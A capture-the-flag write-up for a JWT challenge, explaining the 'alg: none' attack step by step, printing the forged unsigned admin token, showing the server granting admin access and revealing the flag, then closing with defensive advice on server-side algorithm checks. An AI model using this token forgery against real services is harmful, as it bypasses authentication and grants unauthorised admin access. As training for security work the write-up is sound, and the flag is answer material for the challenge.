Forge
Challenge Description
Forge the token and take the bots ☣︎
Flag: Raptor{4lg_n0n3_15_n0t_4_f34tur3}
The Setup
This time there's no option to retrieve the signing key, unlike JWT 1, we can't just ask for it. Two options only: get a token, or submit one.
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsICJuYW1lIjogIkJPT00iLCAiYWRtaW4iOiBmYWxzZSwgImlhdCI6IDE1MTYyMzkwMjJ9.aW52YWxpZA
Decoding the payload: "admin": false, algorithm HS256. We don't have the secret this time, so we can't re-sign a forged token legitimately. But we don't need to.
The None Algorithm Attack
The JWT specification includes "alg": "none", a valid algorithm value meaning the token is unsigned and should be accepted without signature verification. It exists for use cases where token integrity is guaranteed by other means (like a TLS-only internal channel). In practice, any server that accepts "alg": "none" from client-supplied tokens will accept an entirely unsigned, freely modifiable payload with no secret required.
Steps:
- In jwt.io, set the payload to
"admin": trueand sign with a dummy secret (anything,aaaa...works) - Take the resulting token and modify the header to
{"alg": "none", "typ": "JWT"} - Re-encode the header as base64url, swap it into the token
- Strip the signature entirely, the token format is
header.payload.signature, so the final token ends with a trailing dot and nothing after it
The forged token:
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkJPT00iLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNTE2MjM5MDIyfQ.
Note the trailing dot with nothing after it, that's the empty signature field.
Exploitation
Select an option > 2
[paste token]
✅ ADMIN ACCESS GRANTED
The server accepted the unsigned token. Turned off system validation, then released the workers:
Select an option > 1
🔄 Validate System set to OFF
Select an option > 2
🚪 Workers Released
Raptor{4lg_n0n3_15_n0t_4_f34tur3}
JWT 1 vs JWT 2
| JWT 1 | JWT 2 | |
|---|---|---|
| Attack | Known-key forgery | None algorithm |
| Key needed? | Yes (provided) | No |
| Signature | Valid HMAC-SHA256 | Absent |
| Server flaw | Exposed signing key | Accepts unsigned tokens |
Both result in a forged admin token, the paths just differ based on what the server exposes.
Key Takeaways
JWT libraries should never accept "alg": "none" for tokens arriving from untrusted sources. The algorithm used to verify a token should be determined server-side from configuration, not read from the token's own header, otherwise any client can simply declare their token unsigned and bypass verification entirely.
This is such a well-known vulnerability that most modern JWT libraries have disabled none support by default, but it still shows up in older implementations and misconfigured systems. When a JWT challenge doesn't give you the signing key, none algorithm is always worth trying before anything more complex.